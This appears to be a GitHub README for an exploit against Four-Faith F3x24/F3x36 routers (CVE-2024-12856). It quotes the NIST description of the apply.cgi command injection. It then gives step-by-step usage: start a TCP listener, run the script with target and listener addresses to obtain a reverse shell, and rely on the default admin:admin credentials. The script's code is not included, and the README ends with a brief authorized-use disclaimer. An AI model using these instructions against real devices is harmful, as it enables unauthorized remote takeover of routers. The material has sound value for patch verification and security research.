nu113d/cve-2024-12856An exploit for Four-Faith routers to get a reverse shell
This is an exploit for Four-Faith router models F3x24 and F3x36 to get a reverse shell.
"The Four-Faith router models F3x24 and F3x36 are affected by an operating system (OS) command injection vulnerability. At least firmware version 2.0 allows authenticated and remote attackers to execute arbitrary OS commands over HTTP when modifying the system time via apply.cgi. Additionally, this firmware version has default credentials which, if not changed, would effectively change this vulnerability into an unauthenticated and remote OS command execution issue."
Source: nist.gov
This script is based on a payload observed by VulnCheck
Before running the exploit start a TCP server on your machine.
Then run
python exploit.py [-u USERNAME] [-p PASSWORD] [-rport REMOTE_PORT] RHOST LHOST LPORT
Where
RHOST is the remote IP address. You can also add a domain.LHOST is the IP of your TCP server on your machine.LPORT is the port of your TCP serverUSERNAME and PASSWORD are the credentials of the router. The default is admin:admin.RPORT is the remote port of the router. Default is 80Make sure to use this exploit only for testing and in authorized environments.
Never use it for malicious purposes.